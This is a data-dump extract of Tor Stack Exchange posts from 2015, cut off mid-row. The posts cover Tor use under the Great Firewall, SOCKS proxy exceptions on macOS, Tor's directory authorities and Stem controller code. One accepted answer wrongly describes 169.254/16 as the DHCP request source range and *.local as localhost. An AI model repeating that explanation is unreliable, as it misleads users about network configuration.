  <row Id="9287" PostTypeId="2" ParentId="9286" CreationDate="2015-12-26T09:50:55.733" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does TOR keep me safe from the &quot;Internet Watchers?&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, if used correctly &lt;strong&gt;[*]&lt;/strong&gt;. However, for China you'll have to put a bit more work in: you won't be able to use Tor out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before looking at China, first consider your home ISP. If you just download the bog-standard Tor Browser Bundle and boot it up, your ISP will know you're using Tor. They won't know what you're using it for - they can't see into the encrypted traffic - and they possibly won't care, but the first relay you'll connect to in the Tor network will have a publicly known IP address, and one which your ISP will presumably be monitoring connections to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some ISPs actively block connections to these publicly known relays. In such cases, the recommendation is to use either Tor &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en&quot; rel=&quot;nofollow&quot;&gt;bridges&lt;/a&gt;, which are relays whose IP address isn't publicly known (and so the ISP doesn't know to block connections to it), or traffic obfuscation measures called &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en#PluggableTransports&quot; rel=&quot;nofollow&quot;&gt;pluggable transports&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so it is for China. Except in China they have lots of money and lots of clever people whose job it is to work on the Great Firewall and thwart Tor users. (Among other things.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In China you'll certainly need to use pluggable transports. (Bridges aren't enough because the traffic still &lt;em&gt;looks&lt;/em&gt; like Tor traffic, and China is clever enough to be able to spot its signatures. If you're interested in more details, see &lt;a href=&quot;https://blog.torproject.org/blog/closer-look-great-firewall-china&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; blog post.) &lt;a href=&quot;https://tor.stackexchange.com/questions/9218/why-cant-obfs4-scramblesuit-and-fte-be-used-in-china-now&quot;&gt;This question&lt;/a&gt; from a couple of weeks ago suggests certain pluggable transports might not be sufficient anymore, though one of the answers does suggest that &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/meek&quot; rel=&quot;nofollow&quot;&gt;Meek&lt;/a&gt; is still okay.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, I plan to use it on an old Windows XP laptop machine just in&#xA;  case it gets confiscated for some reason. Is this a mistake?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'd recommend against using Windows XP. It's no longer supported by Microsoft, so vulnerabilities in Windows itself are no longer being patched or fixed. You just don't know what information it could be potentially leaking, Tor or no Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest using either a Linux distribution (like &lt;a href=&quot;http://www.ubuntu.com/download&quot; rel=&quot;nofollow&quot;&gt;Ubuntu&lt;/a&gt;), or &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt;, which runs everthing through Tor by default. If you're used to using Windows and aren't familiar with Linux in general, then give yourself a bit of time before you go to get up to speed...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...and in general, make sure this is all set up and running before you go, as once you're there it's an order of magnitude &lt;a href=&quot;https://tor.stackexchange.com/questions/7566/how-can-i-download-tor-within-china-to-get-over-the-great-firewall&quot;&gt;more difficult to do so&lt;/a&gt;. (Which is also the experience I had when I was there.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[*] Are you safe from people watching you?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, yes, but you need to be aware of your &lt;a href=&quot;https://tor.stackexchange.com/questions/27/how-does-tors-threat-model-differ-from-i2ps-threat-model&quot;&gt;threat model&lt;/a&gt;. The main threats are covered in &lt;a href=&quot;https://tails.boum.org/doc/about/warning/index.en.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; page on the Tails site. Even if you decide against using Tails, the more general threats still apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow&quot;&gt;nice diagram&lt;/a&gt; on the EFF site that shows which parts of your data are visible to who at various points in the data stream, whether you're using Tor/HTTPS or not.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-12-26T09:50:55.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9288" PostTypeId="1" AcceptedAnswerId="9290" CreationDate="2015-12-26T13:08:02.783" Score="1" ViewCount="1182" Body="&lt;p&gt;I am successfully running all network traffic through Tor BB's proxy server on OS X by having changed my ethernet and wifi settings to run through the SOCKS 5 proxy via port 9150 in System Preferences.  The default exceptions are:  *.local, 169.254/16 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ldPHu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ldPHu.jpg&quot; alt=&quot;Mac OS X SOCKS 5 Proxy *default exceptions*&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;To be clear, I am &lt;strong&gt;not&lt;/strong&gt; asking about adding common exceptions which already makes sense, e.g., adding &quot;stackexchange.com&quot; to the exception list makes perfect sense already.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain how &lt;strong&gt;&lt;em&gt;changing the default exceptions&lt;/em&gt;&lt;/strong&gt; (*.local, 169.254/16), or &lt;strong&gt;&lt;em&gt;removing&lt;/em&gt;&lt;/strong&gt; them, etc., will impact my security and privacy as it pertains to my running my traffic through the tor network using the Tor BB's automatically configured SOCKS 5 proxy?   &lt;/p&gt;&#xA;" OwnerUserId="7831" LastEditorUserId="7831" LastEditDate="2015-12-26T23:29:10.813" LastActivityDate="2015-12-26T23:29:10.813" Title="SOCKS 5 Proxy Exceptions w/ Tor BB" Tags="|tor-browser-bundle|configuration|socks|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9289" PostTypeId="2" ParentId="6272" CreationDate="2015-12-26T15:29:05.397" Score="1" Body="&lt;p&gt;The default directory authorities are located (as of version &lt;strong&gt;0.2.8.0-alpha-dev (git-d015c70a118e4357)&lt;/strong&gt;) in file &lt;strong&gt;or/config.c&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** List of default directory authorities */&#xA;&#xA;static const char *default_authorities[] = {&#xA;  &quot;moria1 orport=9101 &quot;&#xA;    &quot;v3ident=D586D18309DED4CD6D57C18FDB97EFA96D330566 &quot;&#xA;    &quot;128.31.0.39:9131 9695 DFC3 5FFE B861 329B 9F1A B04C 4639 7020 CE31&quot;,&#xA;  &quot;tor26 orport=443 &quot;&#xA;    &quot;v3ident=14C131DFC5C6F93646BE72FA1401C02A8DF2E8B4 &quot;&#xA;    &quot;86.59.21.38:80 847B 1F85 0344 D787 6491 A548 92F9 0493 4E4E B85D&quot;,&#xA;  &quot;dizum orport=443 &quot;&#xA;    &quot;v3ident=E8A9C45EDE6D711294FADF8E7951F4DE6CA56B58 &quot;&#xA;    &quot;194.109.206.212:80 7EA6 EAD6 FD83 083C 538F 4403 8BBF A077 587D D755&quot;,&#xA;  &quot;Tonga orport=443 bridge &quot;&#xA;    &quot;82.94.251.203:80 4A0C CD2D DC79 9508 3D73 F5D6 6710 0C8A 5831 F16D&quot;,&#xA;  &quot;gabelmoo orport=443 &quot;&#xA;    &quot;v3ident=ED03BB616EB2F60BEC80151114BB25CEF515B226 &quot;&#xA;    &quot;131.188.40.189:80 F204 4413 DAC2 E02E 3D6B CF47 35A1 9BCA 1DE9 7281&quot;,&#xA;  &quot;dannenberg orport=443 &quot;&#xA;    &quot;v3ident=585769C78764D58426B8B52B6651A5A71137189A &quot;&#xA;    &quot;193.23.244.244:80 7BE6 83E6 5D48 1413 21C5 ED92 F075 C553 64AC 7123&quot;,&#xA;  &quot;urras orport=80 &quot;&#xA;    &quot;v3ident=80550987E1D626E3EBA5E5E75A458DE0626D088C &quot;&#xA;    &quot;208.83.223.34:443 0AD3 FA88 4D18 F89E EA2D 89C0 1937 9E0E 7FD9 4417&quot;,&#xA;  &quot;maatuska orport=80 &quot;&#xA;    &quot;v3ident=49015F787433103580E3B66A1707A00E60F2D15B &quot;&#xA;    &quot;171.25.193.9:443 BD6A 8292 55CB 08E6 6FBE 7D37 4836 3586 E46B 3810&quot;,&#xA;  &quot;Faravahar orport=443 &quot;&#xA;    &quot;v3ident=EFCBE720AB3A82B99F9E953CD5BF50F7EEFC7B97 &quot;&#xA;    &quot;154.35.175.225:80 CF6D 0AAF B385 BE71 B8E1 11FC 5CFF 4B47 9237 33BC&quot;,&#xA;  &quot;longclaw orport=443 &quot;&#xA;    &quot;v3ident=23D15D965BC35114467363C165C4F724B64B4F66 &quot;&#xA;    &quot;199.254.238.52:80 74A9 1064 6BCE EFBC D2E8 74FC 1DC9 9743 0F96 8145&quot;,&#xA;  NULL&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The bandwidths are computed by downloading files through a relay and sending them to the directory authorities. The data is computed so that information about how the relay can be used within the network becomes available to the remainder of the nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still looking into the exact details of what files and from where are they being downloaded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://tor.stackexchange.com/questions/9291/where-does-tor-look-for-directory-servers/9292#9292&quot;&gt;this&lt;/a&gt; question for more details. &lt;/p&gt;&#xA;" OwnerUserId="7410" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2015-12-26T17:28:41.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9290" PostTypeId="2" ParentId="9288" CreationDate="2015-12-26T16:11:25.497" Score="1" Body="&lt;p&gt;&lt;code&gt;*.local&lt;/code&gt; is your own localhost and any host inside your local network. It makes no sense to connect inside your local network through a proxy. It would fail if you tried.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you remove this exception, you will no longer be able to connect to hosts inside your own network. If you try, your Tor client will issue a warning message about refusing to connect to a local address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;169.254.x.x&lt;/code&gt; is the range DHCP clients use as the source address when broadcasting a request. This should not go through a proxy because it must be picked up by a DHCP server on the local network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you remove this exception, your hosts can no longer obtain an IP address from a DHCP server in your local network. If it has a fixed IP address, this is not an issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These exception only decide which traffic does and does not get sent through the proxy. They do not impact the socks proxy server in your Tor client.&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="350" LastEditDate="2015-12-26T16:29:29.597" LastActivityDate="2015-12-26T16:29:29.597" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9291" PostTypeId="1" AcceptedAnswerId="9292" CreationDate="2015-12-26T17:03:34.940" Score="4" ViewCount="2342" Body="&lt;p&gt;I'm working on a project and need to determine how tor determines directory authorities. Looking at the source of version &lt;strong&gt;0.2.8.0-alpha-dev (git-d015c70a118e4357)&lt;/strong&gt; in file &lt;strong&gt;or/config.c&lt;/strong&gt; there are a number of default directories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** List of default directory authorities */&#xA;&#xA;static const char *default_authorities[] = {&#xA;  &quot;moria1 orport=9101 &quot;&#xA;    &quot;v3ident=D586D18309DED4CD6D57C18FDB97EFA96D330566 &quot;&#xA;    &quot;128.31.0.39:9131 9695 DFC3 5FFE B861 329B 9F1A B04C 4639 7020 CE31&quot;,&#xA;  &quot;tor26 orport=443 &quot;&#xA;    &quot;v3ident=14C131DFC5C6F93646BE72FA1401C02A8DF2E8B4 &quot;&#xA;    &quot;86.59.21.38:80 847B 1F85 0344 D787 6491 A548 92F9 0493 4E4E B85D&quot;,&#xA;  &quot;dizum orport=443 &quot;&#xA;    &quot;v3ident=E8A9C45EDE6D711294FADF8E7951F4DE6CA56B58 &quot;&#xA;    &quot;194.109.206.212:80 7EA6 EAD6 FD83 083C 538F 4403 8BBF A077 587D D755&quot;,&#xA;  &quot;Tonga orport=443 bridge &quot;&#xA;    &quot;82.94.251.203:80 4A0C CD2D DC79 9508 3D73 F5D6 6710 0C8A 5831 F16D&quot;,&#xA;  &quot;gabelmoo orport=443 &quot;&#xA;    &quot;v3ident=ED03BB616EB2F60BEC80151114BB25CEF515B226 &quot;&#xA;    &quot;131.188.40.189:80 F204 4413 DAC2 E02E 3D6B CF47 35A1 9BCA 1DE9 7281&quot;,&#xA;  &quot;dannenberg orport=443 &quot;&#xA;    &quot;v3ident=585769C78764D58426B8B52B6651A5A71137189A &quot;&#xA;    &quot;193.23.244.244:80 7BE6 83E6 5D48 1413 21C5 ED92 F075 C553 64AC 7123&quot;,&#xA;  &quot;urras orport=80 &quot;&#xA;    &quot;v3ident=80550987E1D626E3EBA5E5E75A458DE0626D088C &quot;&#xA;    &quot;208.83.223.34:443 0AD3 FA88 4D18 F89E EA2D 89C0 1937 9E0E 7FD9 4417&quot;,&#xA;  &quot;maatuska orport=80 &quot;&#xA;    &quot;v3ident=49015F787433103580E3B66A1707A00E60F2D15B &quot;&#xA;    &quot;171.25.193.9:443 BD6A 8292 55CB 08E6 6FBE 7D37 4836 3586 E46B 3810&quot;,&#xA;  &quot;Faravahar orport=443 &quot;&#xA;    &quot;v3ident=EFCBE720AB3A82B99F9E953CD5BF50F7EEFC7B97 &quot;&#xA;    &quot;154.35.175.225:80 CF6D 0AAF B385 BE71 B8E1 11FC 5CFF 4B47 9237 33BC&quot;,&#xA;  &quot;longclaw orport=443 &quot;&#xA;    &quot;v3ident=23D15D965BC35114467363C165C4F724B64B4F66 &quot;&#xA;    &quot;199.254.238.52:80 74A9 1064 6BCE EFBC D2E8 74FC 1DC9 9743 0F96 8145&quot;,&#xA;  NULL&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've placed a breakpoint on the function using these values and it is not executed (immediately) at runtime. Running wireshark the following transcript is shown:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HkD5p.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HkD5p.png&quot; alt=&quot;tor packet capture&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the address &lt;strong&gt;193.11.114.46&lt;/strong&gt; is not present within the source code (at least in plain text/unencoded form). Using strace doesn't reveal any useful information either:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $ strace -e poll,select,connect,recvfrom,sendto ./tor&#xA;poll([{fd=3, events=POLLIN}], 1, 10)    = 1 ([{fd=3, revents=POLLIN}])&#xA;poll([{fd=3, events=POLLIN}], 1, 10)    = 1 ([{fd=3, revents=POLLIN}])&#xA;Dec 26 11:37:35.625 [notice] Tor v0.2.8.0-alpha-dev running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.1k and Zlib 1.2.8.&#xA;Dec 26 11:37:35.625 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Dec 26 11:37:35.625 [notice] This version is not a stable Tor release. Expect more bugs than usual.&#xA;Dec 26 11:37:35.625 [notice] Configuration file &quot;/usr/local/etc/tor/torrc&quot; not present, using reasonable defaults.&#xA;sendto(3, &quot;\24\0\0\0\22\0\1\3O\302~V\0\0\0\0\0\0\0\0&quot;, 20, 0, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 20&#xA;sendto(3, &quot;\24\0\0\0\26\0\1\3P\302~V\0\0\0\0\0\0\0\0&quot;, 20, 0, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 20&#xA;connect(3, {sa_family=AF_INET, sin_port=htons(9), sin_addr=inet_addr(&quot;18.0.0.1&quot;)}, 16) = 0&#xA;Dec 26 11:37:35.629 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Dec 26 11:37:35.000 [notice] Bootstrapped 0%: Starting&#xA;Dec 26 11:37:35.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;poll([?] 0x7ffe952f4b00, 1, 10)         = 1&#xA;connect(8, {...}, 16)                   = -1 EINPROGRESS (Operation now in progress)&#xA;sendto(9, 0x7ffe952f49b0, 20, 0, {...}, 12) = 20&#xA;sendto(9, 0x7ffe952f49b0, 20, 0, {...}, 12) = 20&#xA;sendto(9, 0x7ffe952f49b0, 20, 0, {...}, 12) = 20&#xA;sendto(9, 0x7ffe952f49b0, 20, 0, {...}, 12) = 20&#xA;Dec 26 11:37:37.000 [notice] Bootstrapped 85%: Finishing handshake with first hop&#xA;Dec 26 11:37:37.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Dec 26 11:37:37.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Dec 26 11:37:37.000 [notice] Bootstrapped 100%: Done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where can I find the list of predefined directory authorities?&lt;/p&gt;&#xA;" OwnerUserId="7410" LastActivityDate="2017-02-19T12:34:41.413" Title="Where does tor look for directory servers?" Tags="|configuration|relays|exit-relays|directory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9292" PostTypeId="2" ParentId="9291" CreationDate="2015-12-26T17:27:42.297" Score="3" Body="&lt;p&gt;Found it.tor creates a directory &lt;strong&gt;.tor&lt;/strong&gt; in the home directory (on Linux). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ls ~/.tor&#xA;cached-certs  cached-microdesc-consensus  cached-microdescs  cached-microdescs.new  lock  state&#xA;$ grep -Rn 193.11.114.46&#xA;cached-microdesc-consensus:24929:r mdfnet3 uD3BVY8NNDU7uZLvk6/q/bImpz4 2015-12-26 11:02:15 193.11.114.46 9003 9032&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The directory authorities above are used on the first run (when the &lt;strong&gt;.tor&lt;/strong&gt; directory has not been created yet). &lt;/p&gt;&#xA;" OwnerUserId="7410" LastActivityDate="2015-12-26T17:27:42.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9293" PostTypeId="1" CreationDate="2015-12-26T17:37:37.433" Score="0" ViewCount="349" Body="&lt;p&gt;I'm running a Tor relay on Linux which has the HSDir flag, meaning that it can host hidden service descriptors. I've been wondering, just out of curiosity whether it is possible to get some info about the queries received by the HS directory from Tor clients, for example the number of requests for each hidden service descriptor. I tried to do that in Python using the Stem library but I couldn't find anything helpful in the Stem documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea how to do that?&lt;/p&gt;&#xA;" OwnerUserId="10310" LastActivityDate="2017-04-19T04:10:03.047" Title="How to get the number of HS descriptor requests using Stem?" Tags="|python|stem|hsdir|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9294" PostTypeId="1" CreationDate="2015-12-26T21:44:48.560" Score="2" ViewCount="635" Body="&lt;p&gt;After reading a number of questions and resources on bandwidth measurements and life cycle of tor relays:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/1737/can-anyone-tell-me-about-the-bandwidth-weights&quot;&gt;can anyone tell me about the bandwidth weights?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/3323/can-anybody-explain-the-advertised-bandwidth-maxadvertisedbandwidth-measured-b?rq=1&quot;&gt;Can anybody explain the Advertised bandwidth, MaxAdvertisedBandwidth, Measured bandwidth, Bandwidth burst, RelayBandwidth rate?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/torflow-node-capacity-integrity-and-reliability-measurements-hotpets&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/blog/torflow-node-capacity-integrity-and-reliability-measurements-hotpets&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fscked.org/talks/TorFlow-HotPETS-final.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://fscked.org/talks/TorFlow-HotPETS-final.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the bandwidth weight specification:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#2454&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#2454&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still not sure how bandwidth measurement is performed (from an implementation standpoint) by the bandwidth authorities. I have also found a library, &lt;a href=&quot;https://stem.torproject.org/tutorials/examples/votes_by_bandwidth_authorities.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;stem&lt;/a&gt;, that queries authorities and retrieves their measurement results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where should I look in the sources to find the code responsible for bandwidth measurement? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using version &lt;strong&gt;0.2.8.0-alpha-dev (git-d015c70a118e4357)&lt;/strong&gt;. Grepping around the code for strings such as bandwidth, measurement, &lt;em&gt;bw&lt;/em&gt; does not seem very lucrative(all results rely on handling consenus information). &lt;/p&gt;&#xA;" OwnerUserId="7410" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2017-02-16T16:49:40.467" Title="How do bandwidth authorities measure bandwidth?" Tags="|configuration|relays|directory|bandwidth|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9295" PostTypeId="1" AcceptedAnswerId="12093" CreationDate="2015-12-26T21:50:11.347" Score="0" ViewCount="1727" Body="&lt;p&gt;After reading how &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;hidden services work&lt;/a&gt; it is not clear to me whether a hidden service database as shown in the figure bellow, is different from a directory server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I8Xjo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I8Xjo.png&quot; alt=&quot;hidden service database&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On which port does it provide the descriptors on? &lt;/p&gt;&#xA;" OwnerUserId="7410" LastActivityDate="2016-07-12T10:47:52.227" Title="What is the difference between a directory server and a hidden service database?" Tags="|onion-services|directory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9296" PostTypeId="2" ParentId="9295" CreationDate="2015-12-27T03:24:33.083" Score="0" Body="&lt;p&gt;Directory server enumerates Tor nodes, all of them. There are special separate subsets of them such as bridge relay directory, obfuscated bridge relay directory, hidden services directory e.t.c. all the records of these special service directories are tor nodes pulled out only by request. The overall directories are used for regular network connectivity rather than by request&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-12-27T03:24:33.083" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9297" PostTypeId="2" ParentId="9291" CreationDate="2015-12-27T03:32:52.307" Score="1" Body="&lt;p&gt;Actually the servers are listed in source you have discovered. And a lot of nodes are running the mirrors for signed directory data, so in .tor folder you will have a lot of &lt;em&gt;mirrors&lt;/em&gt;, but the &lt;em&gt;directories&lt;/em&gt; are hard coded as far as I know&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-12-27T03:32:52.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9301" PostTypeId="2" ParentId="9219" CreationDate="2015-12-27T19:27:07.813" Score="1" Body="&lt;p&gt;yes, it's normal. The multiple connections to Directory servers and the nodes mirroring a signed image of Directory are for load balancing and censorship resistance purposes. &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-12-27T19:27:07.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9302" PostTypeId="2" ParentId="9293" CreationDate="2015-12-27T19:49:21.003" Score="1" Body="&lt;p&gt;There is a tutorial on retrieving the number of bytes a relay has written and read &lt;a href=&quot;https://stem.torproject.org/tutorials/the_little_relay_that_could.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; (run the code after installing stem):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from stem.control import Controller&#xA;&#xA;with Controller.from_port(port = 9051) as controller:&#xA;  controller.authenticate()  # provide the password here if you set one&#xA;&#xA;  bytes_read = controller.get_info(&quot;traffic/read&quot;)&#xA;  bytes_written = controller.get_info(&quot;traffic/written&quot;)&#xA;&#xA;  print(&quot;My Tor relay has read %s bytes and written %s.&quot; % (bytes_read, bytes_written))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The control password is stored the &lt;strong&gt;torrc&lt;/strong&gt; file. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This provides a port for our script to talk with. If you set this then be&#xA;# sure to also set either CookieAuthentication *or* HashedControlPassword!&#xA;#&#xA;# You could also use ControlSocket instead of ControlPort, which provides a&#xA;# file based socket. You don't need to have authentication if you use&#xA;# ControlSocket. For this example however we'll use a port.&#xA;&#xA;ControlPort 9051&#xA;&#xA;# Setting this will make Tor write an authentication cookie. Anything with&#xA;# permission to read this file can connect to Tor. If you're going to run&#xA;# your script with the same user or permission group as Tor then this is the&#xA;# easiest method of authentication to use.&#xA;&#xA;CookieAuthentication 1&#xA;&#xA;# Alternatively we can authenticate with a password. To set a password first&#xA;# get its hash...&#xA;#&#xA;# % tor --hash-password &quot;my_password&quot;&#xA;# 16:E600ADC1B52C80BB6022A0E999A7734571A451EB6AE50FED489B72E3DF&#xA;#&#xA;# ... and use that for the HashedControlPassword in your torrc.&#xA;&#xA;HashedControlPassword 16:E600ADC1B52C80BB6022A0E999A7734571A451EB6AE50FED489B72E3DF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A tutorial on how to configure hidden services using stem can be found &lt;a href=&quot;https://stem.torproject.org/tutorials/over_the_river.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.You can use &lt;a href=&quot;https://www.atagar.com/arm/&quot; rel=&quot;nofollow&quot;&gt;arm&lt;/a&gt; to retrieve all statistics. &lt;/p&gt;&#xA;" OwnerUserId="7410" LastActivityDate="2015-12-27T19:49:21.003" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9303" PostTypeId="1" CreationDate="2015-12-28T09:38:05.160" Score="2" ViewCount="933" Body="&lt;p&gt;I already have install &lt;code&gt;tor-browser&lt;/code&gt; installed and working on my Ubuntu. However when I try to install &lt;code&gt;tor&lt;/code&gt; to use &lt;code&gt;torify&lt;/code&gt; on terminal, I get the following error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Reading package lists... Done&#xA;Building dependency tree       &#xA;Reading state information... Done&#xA;The following package was automatically installed and is no longer required:&#xA;  mint-backgrounds-rebecca&#xA;Use 'apt-get autoremove' to remove it.&#xA;Suggested packages:&#xA;  mixmaster xul-ext-torbutton socat tor-arm polipo privoxy apparmor-utils&#xA;Recommended packages:&#xA;  tor-geoipdb torsocks&#xA;The following NEW packages will be installed:&#xA;  tor&#xA;0 upgraded, 1 newly installed, 0 to remove and 64 not upgraded.&#xA;Need to get 0 B/787 kB of archives.&#xA;After this operation, 2,662 kB of additional disk space will be used.&#xA;(Reading database ... 341697 files and directories currently installed.)&#xA;Preparing to unpack .../tor_0.2.4.27-1build0.14.04.1_amd64.deb ...&#xA;Unpacking tor (0.2.4.27-1build0.14.04.1) ...&#xA;dpkg: error processing archive /var/cache/apt/archives/tor_0.2.4.27-1build0.14.04.1_amd64.deb (--unpack):&#xA; trying to overwrite '/usr/bin/tor', which is also in package tor-browser 3.5.4&#xA;dpkg-deb: error: subprocess paste was killed by signal (Broken pipe)&#xA;Processing triggers for ureadahead (0.100.0-16) ...&#xA;Processing triggers for man-db (2.6.7.1-1ubuntu1) ...&#xA;E: Sub-process /usr/bin/dpkg returned an error code (1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is happening because of the conflict with already installed package &lt;code&gt;tor-browser&lt;/code&gt;. But I don't want to remove the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use &lt;code&gt;torify&lt;/code&gt; along with tor browser install on Linux?&lt;/p&gt;&#xA;" OwnerUserId="10327" LastActivityDate="2016-12-03T12:52:08.400" Title="How can I have tor and tor-browser both installed?" Tags="|tor-browser-bundle|linux|ubuntu|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 